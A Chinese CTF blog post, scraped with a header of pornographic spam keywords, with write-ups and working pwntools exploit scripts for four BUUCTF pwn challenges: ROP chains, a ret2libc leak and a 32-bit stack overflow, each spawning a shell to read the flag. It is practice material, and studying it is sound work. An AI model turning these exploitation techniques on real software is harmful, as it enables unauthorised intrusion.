日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

PWN-PRACTICE-BUUCTF-5

發布時間:2023/12/10 编程问答 26 豆豆
生活随笔 收集整理的這篇文章主要介紹了 PWN-PRACTICE-BUUCTF-5 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

PWN-PRACTICE-BUUCTF-5

    • jarvisoj_level2_x64
    • ciscn_2019_n_5
    • others_shellcode
    • ciscn_2019_ne_5

jarvisoj_level2_x64

這題和[HarekazeCTF2019]baby_rop幾乎一模一樣

from pwn import * #context.log_level="debug" io=remote('node4.buuoj.cn',27023) elf=ELF('./level2_x64') io.recvuntil("Input:\n") pop_rdi_ret=0x00000000004006b3 ret=0x00000000004004a1 system=elf.plt['system'] main=0x0000000000400620 binsh=0x0000000000600A90 payload="a"*(128+8)+p64(pop_rdi_ret)+p64(binsh)+p64(ret)+p64(system)+p64(main) io.sendline(payload) io.sendline("cat flag") io.interactive()

ciscn_2019_n_5

棧溢出ret2libc

from pwn import * context.log_level="debug" io=remote('node4.buuoj.cn',27687) elf=ELF("./ciscn_2019_n_5") libc=ELF("./libc-2.27-18-x64.so") io.recvuntil("your name\n") io.sendline("p1umh0") io.recvuntil("say to me?\n") pop_rdi_ret=0x0000000000400713 puts_got=elf.got["puts"] puts_plt=elf.plt["puts"] main=0x0000000000400636 ret=0x00000000004004c9 payload="a"*(30+2+8)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main) io.sendline(payload) puts_addr=u64(io.recvuntil("\n",drop=True).ljust(8,"\x00")) print(hex(puts_addr)) libc_base=puts_addr-libc.sym["puts"] system=libc_base+libc.sym["system"] binsh=libc_base+libc.search("/bin/sh").next() payload_2="a"*(30+2+8)+p64(pop_rdi_ret)+p64(binsh)+p64(ret)+p64(system)+p64(main) io.recvuntil("your name\n") io.sendline("p1umh0") io.recvuntil("say to me?\n") io.sendline(payload_2) io.sendline("cat flag") io.interactive()

others_shellcode

程序在getShell函數中執行了系統調用,execve("/bin/sh"),nc連接上直接cat flag即可

ciscn_2019_ne_5

case 1的AddLog讀取數據,最大長度128
case 4的GetFlag將讀取的數據拷貝到dest,于是可以構成棧溢出

程序包含了system,找一個"/bin/sh"或者"sh"來用

p1umh0@p1umh0:~/ctf/pwn$ ROPgadget --binary ciscn_2019_ne_5 --string "/bin/sh" Strings information ============================================================ p1umh0@p1umh0:~/ctf/pwn$ ROPgadget --binary ciscn_2019_ne_5 --string "sh" Strings information ============================================================ 0x080482ea : sh

覆蓋eip到system

from pwn import * io=remote('node4.buuoj.cn',29535) elf=ELF('./ciscn_2019_ne_5') io.recvuntil("password:") io.sendline("administrator") io.recvuntil("0.Exit\n:") io.sendline("1") io.recvuntil("log info:") system=elf.plt['system'] main=0x08048722 sh=0x080482ea payload="a"*(0x48+4)+p32(system)+p32(main)+p32(sh) io.sendline(payload) io.recvuntil("0.Exit\n:") io.sendline("4") io.sendline("cat flag") io.interactive() 創作挑戰賽新人創作獎勵來咯,堅持創作打卡瓜分現金大獎

總結

以上是生活随笔為你收集整理的PWN-PRACTICE-BUUCTF-5的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。